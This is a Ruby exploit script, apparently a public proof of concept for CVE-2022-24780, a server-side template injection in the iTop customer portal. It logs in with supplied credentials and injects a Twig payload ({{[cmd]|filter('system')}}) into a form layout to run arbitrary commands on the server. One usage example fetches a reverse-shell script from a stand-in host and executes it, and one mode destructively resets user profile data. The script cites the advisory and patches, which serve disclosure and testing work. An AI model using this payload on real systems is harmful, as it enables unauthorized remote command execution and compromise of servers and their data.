#!/usr/bin/env ruby
# Exploit
## Title: iTop < 2.7.6 - (Authenticated) Remote command execution
## Exploit author: noraj (Alexandre ZANNI) for ACCEIS (https://www.acceis.fr)
## Author website: https://pwn.by/noraj/
## Exploit source: https://github.com/Acceis/exploit-CVE-2022-24780
## Date: 2022-05-20
## Vendor Homepage: https://www.combodo.com/itop
## Software Link: https://github.com/Combodo/iTop/archive/refs/tags/2.7.5.tar.gz
## Version: 2.x < 2.7.6 and 3.x.x-beta < 3.0.0
## Tested on: iTop version 2.7.4 (Ubuntu 18.04.4 LTS - 7.3.28)
# Vulnerability
## Discoverer: Markus KRELL
## Date: 2021-10-04
## Discoverer website: https://markus-krell.de/
## Discovered on iTop 2.7.4-7194 and 3.0.0-beta-7312
## Title: Server-Side Template Injection inside customer Portal
## CVE: CVE-2022-24780
## CWE: CWE-94, CWE-1336
## Patch:
## - https://github.com/Combodo/iTop/commit/b6fac4b411b8d145fc30fa35c66b51243eafd06b
## - https://github.com/Combodo/iTop/commit/eb2a615bd28100442c7f6171707bb40884af2305
## - https://github.com/Combodo/iTop/commit/93f273a28778e5da8e51096f021d2dc1adbf4ef3
## References:
## - https://nvd.nist.gov/vuln/detail/CVE-2022-24780
## - https://github.com/Combodo/iTop/security/advisories/GHSA-v97m-wgxq-rh54
## - https://markus-krell.de/itop-template-injection-inside-customer-portal/
require 'httpx'
require 'docopt'
require 'nokogiri'
doc = <<~DOCOPT
iTop < 2.7.6 - (Authenticated) Remote command execution
Usage:
#{__FILE__} full <url> <username> <password> <cmd> [--debug]
#{__FILE__} light <url> <username> <password> <cmd> [--debug]
#{__FILE__} -h | --help
full: exploit with an emulated browser, execute JavaScript, preserve original user profile information
light: just parse HTML and send requests, no JavaScript, (DESTRUCTIVE) reset user information: phone, location, function
Options:
<url> Root URL (base path) including HTTP scheme, port and root folder
<username> iTop portal username
<password> iTop portal user password
<cmd> Command to execute on the target
--debug Display arguments
-h, --help Show this screen
Examples:
#{__FILE__} full http://example.org john 's9nvEIZnEo6ghi' 'echo proof > /var/www/html/proof.txt'
#{__FILE__} light https://example.org:5000/itop john 's9nvEIZnEo6ghi' 'curl --remote-name http://pentest.example.com:7000/revshell.pl; perl revshell.pl'
DOCOPT
def login(root_url, user, pass, http)
login_url = "#{root_url}/pages/UI.php"
params = {
'auth_user' => user,
'auth_pwd' => pass,
'login_mode' => 'form',
'loginop' => 'login'
}
http.post(login_url, form: params).body.to_s
end
def login_watir(root_url, user, pass, browser)
login_url = "#{root_url}/pages/UI.php"
browser.goto login_url
browser.text_field(id: 'user').set(user)
browser.text_field(id: 'pwd').set(pass)
browser.button(value: 'Enter iTop').click
end
def fetch_form(root_url, http)
profile_url = "#{root_url}/pages/exec.php/user?exec_module=itop-portal-base&exec_page=index.php&portal_id=itop-portal"
# Fetch and parse HTML document
doc = Nokogiri.HTML5(http.get(profile_url).body.to_s)
action = doc.css('form').first['action']
transaction_id = doc.css('input[name="transaction_id"]').first['value']
form_id = doc.css('form').first['id']
# doesn't work because it's populated with javascript, we'll need watir for that
#phone = doc.css('input[id^=field_phone]').first['value']
#location = doc.css('select[id^=field_location_id] option[selected]').first['value']
#function = doc.css('input[id^=field_function]').first['value']
return {action: action, tid: transaction_id, fid: form_id}
end
def exploit(root_url, cmd, http, browser)
form_data = fetch_form(root_url, http)
vuln_url = "#{root_url}#{form_data[:action]}"
user_info = browser.nil? ? {phone: '', location: '', function: ''} : fetch_form_js(root_url, browser)
params = {
'operation' => 'submit',
'stimulus_code' => '',
'transaction_id' => form_data[:tid],
# source data already escapes backslashes and double quotes for JSON
# so \ -> \\ and " -> \"
# but we need to esacpe backslash once for Ruby too because we need an interpolated string
# so \ -> \\ -> \\\\ and " -> \\"
'formmanager_class' => 'Combodo\iTop\Portal\Form\ObjectFormManager',
'formmanager_data' => %Q^{"id":"#{form_data[:fid]}","transaction_id":"#{form_data[:tid]}","formmanager_class":"Combodo\\\\iTop\\\\Portal\\\\Form\\\\ObjectFormManager","formrenderer_class":"Combodo\\\\iTop\\\\Renderer\\\\Bootstrap\\\\BsFormRenderer","formrenderer_endpoint":"#{form_data[:action]}","formobject_class":"Person","formobject_id":"1","formmode":"edit","formactionrulestoken":"","formproperties":{"id":"default-user-profile","type":"custom_list","fields":[],"layout":{"type":"twig","content":"<!-- data-field-id attribute must be an attribute code of the class --><!-- data-field-flags attribute contains flags among read_only/hidden/mandatory/must_prompt/must_change --><div class=\\"form_field\\" data-field-id=\\"first_name{{['#{cmd}']|filter('system')}}\\" data-field-flags=\\"read_only\\"></div><div class=\\"form_field\\" data-field-id=\\"name\\" data-field-flags=\\"read_only\\"></div><div class=\\"form_field\\" data-field-id=\\"org_id\\" data-field-flags=\\"read_only\\"></div><div class=\\"form_field\\" data-field-id=\\"email\\" data-field-flags=\\"read_only\\"></div><div class=\\"form_field\\" data-field-id=\\"phone\\"></div><div class=\\"form_field\\" data-field-id=\\"location_id\\"></div><div class=\\"form_field\\" data-field-id=\\"function\\"></div><div class=\\"form_field\\" data-field-id=\\"manager_id\\" data-field-flags=\\"read_only\\"></div>"}}}^,
'current_values[phone]' => user_info[:phone],
'current_values[location_id]' => user_info[:location],
'current_values[function]' => user_info[:function]
}
http.post(vuln_url, form: params).body.to_s
end
def fetch_form_js(root_url, browser)
# those values can't be fetched with nokogiri alone sicne they are populated using javascript
profile_url = "#{root_url}/pages/exec.php/user?exec_module=itop-portal-base&exec_page=index.php&portal_id=itop-portal"
browser.goto profile_url
phone = browser.text_field(name: 'phone').value
location = browser.select(name: 'location_id').selected_options.first.value
function = browser.text_field(name: 'function').value
return {phone: phone, location: location, function: function}
end
begin
args = Docopt.docopt(doc)
pp args if args['--debug']
http = HTTPX.plugin(:cookies)
login(args['<url>'], args['<username>'], args['<password>'], http)
if args['full']
require 'watir'
require 'webdrivers'
b = Watir::Browser.new :firefox
login_watir(args['<url>'], args['<username>'], args['<password>'], b)
elsif args['light']
b = nil
end
exploit(args['<url>'], args['<cmd>'], http, b)
rescue Docopt::Exit => e
puts e.message
end